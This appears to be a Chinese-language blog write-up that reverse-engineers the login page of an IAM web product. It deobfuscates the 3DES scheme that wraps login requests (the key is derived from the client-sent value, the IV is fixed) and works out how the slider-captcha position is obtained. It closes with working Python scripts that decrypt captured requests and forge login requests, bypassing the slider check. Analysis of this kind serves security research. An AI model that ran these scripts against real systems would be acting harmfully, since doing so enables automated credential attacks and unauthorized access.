首先抓包,看过程中的包有哪些。关键点就是这两个包。

/iam-web/authc/mode/trunk
/iam-web/authc/trunk

我们先来看前端 js 的逻辑。看 login.js,有很多功能。

有系统信息和版本号的请求等,我们看关键包对应的函数。

先看 /authc/mode/trunk。

function login_loginIni() {
  //登录页面加载后 查询全局认证方式和扩展认证方式

  var url = basePath + "/authc/mode/trunk";

  ApolloAjax._get(url, RequestExecType.ASYNC, function (data) {
    if (data.status == ResponseStatusCode.STA_EXCEPTION_DATABASE_TIMEOUT){
      new MessageBox(null, "错误信息", "数据加载错误", "数据库连接超时.", 1, 300, null, null);
      return;
    }
    if (data.status != ResponseStatusCode.STA_SUC) {
      new MessageBox(null, "错误信息", "数据加载错误", "您编辑的角色信息加载错误,请尝试重新点击,若仍然存在问题,请联系管理员.", 1, 300, null, null);
      return;
    }

    login_loadTrunkAuthcMode(data);

    var stopNum = data.meta.secRandomRegion;

    $('#drag').drag({"stop": stopNum});
  });
}

初始化认证,可以看到就是我们的第一个包请求,然后 data.meta.secRandomRegion 拿到了 secRandomRegion 的值,并传给了后面的插 drag。这里也就是确定了滑块该停的位置,用来后续判断是否完成了滑块的验证。

我们接着看 /authc/trunk。

function login_trunkLogin(pubKey) {
  var reqInputData = serializeInputObject("cho-must-authc");

  //判断登录标志值
  ...

  //点击登录,标志值设为true,再请求成功之前,均不可重复点击
  REPAET_LOGIN_SIGN = true;

  var reqData = $.toJSON(reqInputData);

  var url = basePath + "/authc/trunk";

  var flag = false;

  setTimeout(function () {
    if (!flag) {
      //打开锁屏
      $(".login-bg").addClass("login-lock");
    }
  }, 1500);

  ApolloAjax._post(url, reqData, RequestExecType.ASYNC, function (data) {
    flag = true;

    if (data == null) {

      //请求成功后,标志重置为初始值,表示可以继续点击
      REPAET_LOGIN_SIGN = false;

      //关闭锁屏
      $(".login-bg").removeClass("login-lock");

      new MessageBox(null, "错误信息", "数据加载错误", "您编辑的角色信息加载错误,请尝试重新点击,若仍然存在问题,请联系管理员.", 1, 300, null, null);
      return;
    }

    if (ResponseStatusCode.STA_FIN_SUC == data.status) {
      var protocol = location.protocol;
      var host = location.host;

      //TODO 认证成功准备跳转
      //location.href = protocol + "//" + host + data.meta.appCallBackUrl + "/" + data.meta.token;
      location.href = protocol + "//" + host + data.meta.appCallBackUrl;

      return;
    } else if (LoginResponseStatusCode.STA_PASSWD_EXPIRED == data.status || LoginResponseStatusCode.STA_PASSWD_POLICY_CHANGED == data.status || LoginResponseStatusCode.STA_PASSWD_STATUS == data.status) {
      login_gotoChangePwdPage(data);

      return;
    } else if (LoginResponseStatusCode.STA_AUTH_MODE_FAILED == data.status ) {
      //关闭锁屏
      $(".login-bg").removeClass("login-lock");

      var title = $.i18n.prop("plugin.message.view.label.title")
      var msgtitle = $.i18n.prop("plugin.message.view.label.title")
      var msg = $.i18n.prop(data.status)

      new MessageBox(null,
                     title,
                     msgtitle,
                     msg,
                     MessageBoxBtnType.MB_BTN_OK,
                     MessageBoxType.MB_TYPE_ALERT,
                     null, null);

      return;
    } else if (ResponseStatusCode.STA_SUC != data.status) {
      //请求成功后,标志重置为初始值,表示可以继续点击
      REPAET_LOGIN_SIGN = false;

      //关闭锁屏
      $(".login-bg").removeClass("login-lock");

      login_tailErrMessage(data);

      if (data.meta) {
        var stopNum = data.meta.secRandomRegion;

        $('#drag').drag({"stop": stopNum});
      }

      return;
    }

    //请求成功后,标志重置为初始值,表示可以继续点击
    REPAET_LOGIN_SIGN = false;

    //关闭锁屏
    $(".login-bg").removeClass("login-lock");

    login_loadAssociationAuthcMode(data);

    login_afterTrunkLogin();
  });
}

前面一堆判断登录标志值就不用看了,一堆 if 判断,我们直接来看这个请求的 q 和 c 是什么,又是怎么生成的。

这里就需要合理利用开发者工具的调试器了。

在 post 这里下个断点,然后我们手动尝试去登录。

然后会走到 apollo.ajax.js。在此时我们能够看到对应的 data 并没有进行加密,而是我们传入的几个数据,分别是用户 id,passwd,滑块的位置。

继续跟进 serializeSecurityArrayToJson 函数。

然后我们就跳转到了 util 里面的 Tripledes.js,随便翻翻这个 js,就会发现这里有很多有关加密的函数。

定位到我们跳转的函数,然后看函数整体,拖出来格式化一下。

function serializeSecurityArrayToJson(Lwyne1) {
  var JYTqrZPaG2 = {};
  var pt3 = randomStr(10, 8);
  var p4 = reqSecurypt(pt3);
  var d5 = CryptoJS["\x65\x6e\x63"]["\x42\x61\x73\x65\x36\x34"]["\x70\x61\x72\x73\x65"](p4);
  var siKsHDj6 = CryptoJS["\x65\x6e\x63"]["\x55\x74\x66\x38"]["\x70\x61\x72\x73\x65"]('\x39\x39\x39\x39\x39\x39\x39\x39');
  var EqgMJwU7 = CryptoJS["\x54\x72\x69\x70\x6c\x65\x44\x45\x53"]["\x65\x6e\x63\x72\x79\x70\x74"](Lwyne1, d5, {
    iv: siKsHDj6,
    mode: CryptoJS["\x6d\x6f\x64\x65"]["\x43\x42\x43"],
    padding: CryptoJS["\x70\x61\x64"]["\x50\x6b\x63\x73\x37"]
  });
  var nYCLDq9 = EqgMJwU7["\x74\x6f\x53\x74\x72\x69\x6e\x67"]();
  JYTqrZPaG2["\x71"] = nYCLDq9;
  JYTqrZPaG2["\x63"] = pt3;
  return $["\x74\x6f\x4a\x53\x4f\x4e"](JYTqrZPaG2);
}

然后交给 ai 再处理一下十六进制的编码。

function serializeSecurityArrayToJson(Lwyne1) {
  var JYTqrZPaG2 = {};
  var pt3 = randomStr(10, 8); // 生成随机字符串
  var p4 = reqSecurypt(pt3);   // 对随机字符串进行处理
  var d5 = CryptoJS.enc.Base64.parse(p4); // 将处理后的字符串Base64解析成WordArray
  var siKsHDj6 = CryptoJS.enc.Utf8.parse('99999999'); // 固定IV
  var EqgMJwU7 = CryptoJS.TripleDES.encrypt(Lwyne1, d5, { // 使用3DES加密
    iv: siKsHDj6,
    mode: CryptoJS.mode.CBC,
    padding: CryptoJS.pad.Pkcs7
  });
  var nYCLDq9 = EqgMJwU7.toString(); // 加密结果转为字符串
  JYTqrZPaG2["q"] = nYCLDq9; // 存放加密后的数据
  JYTqrZPaG2["c"] = pt3;     // 存放随机密钥
  return $.toJSON(JYTqrZPaG2); // 返回 JSON 字符串
}

还可以看到一些注释,并且发现了我们请求包中的 q 和 c。

逻辑就很清晰了,随机生成了一个字符串 pt3,也就是我们请求包中的 c。然后用 reqSecurypt 进行了处理,得到 p4,然后 base64 处理得到 d5 作为 DES 加密的密钥,这里还给出了固定的 IV,mode,padding 参数。

我们可以按前面的方式跟进到 reqSecurypt 方法然后转换成我们习惯看的代码。

function reqSecurypt(N$vusDs8) {
  var Hj9 = N$vusDs8.split(""); // 将字符串拆分成字符数组
  // 取第1、3、5和最后一个字符组成新的字符串
  var yZQQiAh10 = Hj9[0] + Hj9[2] + Hj9[4] + Hj9[Hj9.length - 1];
  var zjXgDu11 = 8; // 循环次数
  var CeOuO12 = "";
  for (var USp13 = 0; USp13 < zjXgDu11; USp13++) {
    CeOuO12 += yZQQiAh10; // 重复拼接字符串8次
  }
  return CeOuO12; // 返回最终结果
}

取随机字符串中的 1、3、5、9 字符然后重复 8 次得到 p4。

整个逻辑很清楚了,我们可以写脚本来看看是否可以根据 c 解密出 q 来。

from Crypto.Cipher import DES3
import base64

# 已知数据
q = "gLJMTn05013ZBI5e3DJXKQYH/CvtdNr13SPBg8UrOMqW57odRbXXPx81NL1YK1QKw6e7VO7kr8vD0NXuY/C3Iw=="
c = "dO4SmQzdb"

# step1: 根据 c 生成 p4
def req_securypt(pt3):
    chars = pt3
    key = chars[0] + chars[2] + chars[4] + chars[-1]
    return key * 8

p4 = req_securypt(c)
print("p4:", p4)

# step2: Base64 decode 得到 3DES key
d5 = base64.b64decode(p4 + "===")  # 补齐 Base64
print("d5 length:", len(d5))

# step3: 固定 IV
iv = b"99999999"

# step4: 3DES-CBC 解密
cipher = DES3.new(d5, DES3.MODE_CBC, iv)
ciphertext = base64.b64decode(q)
plaintext = cipher.decrypt(ciphertext)

# step5: 去掉 PKCS7 填充
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]

print("明文:", plaintext.decode('utf-8'))

这样我们就可以进行脚本的编写了,c 相当于是后端拿到的密钥信息,我们固定字符串即可,先请求 /iam-web/authc/mode/trunk 拿到对应的 Cookie 以及 滑块位置 secRandomRegion,随后携带 Cookie 去伪造 body 请求 /iam-web/authc/trunk 即可。

import requests
import json
from Crypto.Cipher import DES3
import base64

# 固定 c
c = "dO4SmQzdb"

# 请求 authc/mode/trunk 获取 secRandomRegion
header = {
    "Cookie":"JSESSIONID=B1AB71535B8A157C1B690FB3BE0B4D75; JSESSIONID=70E267CE1122D2A891DCBE9AF6F535E3"
}
resp = requests.get("https://ip/iam-web/authc/mode/trunk", headers=header,verify=False)
print("Status code:", resp.status_code)
print("Resp text:", resp.text)
sec_random_region = resp.json()["meta"]["secRandomRegion"]

# 明文数据
data = {
    "id": "123",
    "simplePasswd": "123",
    "secRandomRegion": str(sec_random_region)
}

# 生成 p4
def req_securypt(pt3):
    chars = pt3
    key = chars[0] + chars[2] + chars[4] + chars[-1]
    return key * 8

p4 = req_securypt(c)
d5 = base64.b64decode(p4 + "===")  # 3DES key
iv = b"99999999"

# PKCS7 填充
plaintext = json.dumps(data).encode("utf-8")
pad_len = 8 - len(plaintext) % 8
plaintext += bytes([pad_len] * pad_len)

# 3DES-CBC 加密
cipher = DES3.new(d5, DES3.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
q = base64.b64encode(ciphertext).decode("utf-8")

# 构造请求 body
body = {
    "q":q,
    "c":c
}
print("body:", body)
# 发送请求到 authc/trunk
resp2 = requests.post("https://ip/iam-web/authc/trunk", headers=header, json=body, verify=False)
print(resp2.text)

成功伪造。

前面是纯前端 js 进行加密分析,我们还可以通过后端的解密来看。

逻辑都是差不多的。